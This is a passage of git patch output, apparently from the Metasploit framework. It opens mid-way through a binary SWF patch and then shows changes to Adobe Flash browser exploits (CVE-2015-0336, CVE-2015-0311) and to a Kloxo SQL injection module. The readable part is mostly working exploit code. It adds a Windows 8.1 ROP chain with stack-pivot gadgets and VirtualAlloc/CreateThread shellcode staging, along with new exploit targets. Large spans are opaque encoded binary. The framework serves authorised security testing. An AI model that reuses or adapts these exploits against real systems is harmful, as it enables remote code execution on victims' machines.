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 diff --git a/external/source/exploits/CVE-2015-0336/Exploit.as b/external/source/exploits/CVE-2015-0336/Exploit.as index 9886106f71..01f0f9279f 100644 --- a/external/source/exploits/CVE-2015-0336/Exploit.as +++ b/external/source/exploits/CVE-2015-0336/Exploit.as @@ -30,12 +30,14 @@ package private var b64:Base64Decoder = new Base64Decoder() private var payload:ByteArray private var platform:String + private var os:String private var original_length:uint = 0 public function Exploit() { var i:uint = 0 platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; @@ -118,8 +120,9 @@ package return } - exploiter = new Exploiter(this, platform, payload, uv) + exploiter = new Exploiter(this, platform, os, payload, uv) } + } } diff --git a/external/source/exploits/CVE-2015-0336/Exploiter.as b/external/source/exploits/CVE-2015-0336/Exploiter.as index a56ca190ee..9975dc8b6e 100644 --- a/external/source/exploits/CVE-2015-0336/Exploiter.as +++ b/external/source/exploits/CVE-2015-0336/Exploiter.as @@ -11,6 +11,7 @@ package private var eba:ExploitByteArray private var payload:ByteArray private var platform:String + private var op_system:String private var pos:uint private var byte_array_object:uint private var main:uint @@ -25,11 +26,12 @@ package private var payload_space:Vector. = new Vector.(0x6400) private var spray:Vector. = new Vector.(89698) - public function Exploiter(exp:Exploit, pl:String, p: ByteArray, uv:Vector.):void + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void { exploit = exp payload = p platform = pl + op_system = os ev = new ExploitVector(uv) if (!ev.is_ready()) return @@ -133,12 +135,19 @@ package private function do_rop():void { Logger.log("[*] Exploiter - do_rop()") - if (platform == "linux") + if (platform == "linux") { do_rop_linux() - else if (platform == "win") - do_rop_windows() - else + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { return + } } private function do_rop_windows():void @@ -150,7 +159,6 @@ package var kernel32:uint = pe.module("kernel32.dll", winmm) var ntdll:uint = pe.module("ntdll.dll", kernel32) var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) - var winexec:uint = pe.procedure("WinExec", kernel32) var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) var createthread:uint = pe.procedure("CreateThread", kernel32) var memcpy:uint = pe.procedure("memcpy", ntdll) @@ -182,14 +190,14 @@ package // VirtualAlloc eba.write(0, memcpy) - eba.write(0, 0x70000000) + eba.write(0, 0x7f6e0000) eba.write(0, 0x4000) eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE // memcpy eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't - eba.write(0, 0x70000000) + eba.write(0, 0x7f6e0000) eba.write(0, payload_address + 8) eba.write(0, payload.length) @@ -198,7 +206,7 @@ package eba.write(0, buffer + 0x10) // return to fix things eba.write(0, 0) eba.write(0, 0) - eba.write(0, 0x70000000) + eba.write(0, 0x7f6e0000) eba.write(0, 0) eba.write(0, 0) eba.write(0, 0) @@ -207,6 +215,73 @@ package exploit.toString() // call method in the fake vtable } + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + private function do_rop_linux():void { Logger.log("[*] Exploiter - do_rop_linux()") @@ -241,8 +316,6 @@ package eba.write(0, "\x5f", false) // pop edi eba.write(0, "\x5e", false) // pop esi eba.write(0, "\xc3", false) // ret - -// eba.write(buffer + 0x10, "\xcc\xcc\xcc\xcc", false) // Put the popen parameters in memory eba.write(payload_address + 0x8, payload, true) // false diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index 67bcc9fdc4..f95e2f8dba 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -51,7 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::LINUX || - os =~ OperatingSystems::Match::WINDOWS_7 + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name @@ -116,6 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] if target.name =~ /Windows/ platform_id = 'win' @@ -130,9 +132,9 @@ class Metasploit3 < Msf::Exploit::Remote - + - + From 744baf2d443a227941decf8f16d6e801a9df57b8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 3 Jun 2015 23:28:35 -0500 Subject: [PATCH 0309/1013] Update kloxo_sqli to use the new cred API --- modules/exploits/linux/http/kloxo_sqli.rb | 39 +++++++++++++++++++---- 1 file changed, 32 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index d221f58945..39888ff29a 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -73,6 +73,32 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + post_reference_name: self.refname, + private_data: opts[:password], + origin_type: :service, + private_type: :password, + username: opts[:user] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + def check return Exploit::CheckCode::Safe unless webcommand_exists? return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0)) @@ -94,13 +120,12 @@ class Metasploit3 < Msf::Exploit::Remote @session = send_login fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil? - report_auth_info( - :host => rhost, - :port => rport, - :user => 'admin', - :pass => @password, - :type => 'password', - :sname => (ssl ? 'https' : 'http') + report_cred( + ip: rhost, + port: rport, + user: 'admin', + service_name: 'http', + password: @password ) print_status("#{peer} - Retrieving the server name...") From ab68d8429b9129c538cf785c6f95ed904fd61754 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 4 Jun 2015 12:10:09 -0500 Subject: [PATCH 0310/1013] Add more targets --- data/exploits/CVE-2015-0311/msf.swf | Bin 20410 -> 20564 bytes .../adobe_flash_uncompress_zlib_uaf.rb | 28 ++++++++---------- 2 files changed, 12 insertions(+), 16 deletions(-) diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf index 1f38921a2654c4e50f12af878923767cb3fccc64..64d9be5b7614e0e27ed1a242009c08dd3aad6730 100644 GIT binary patch delta 20443 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 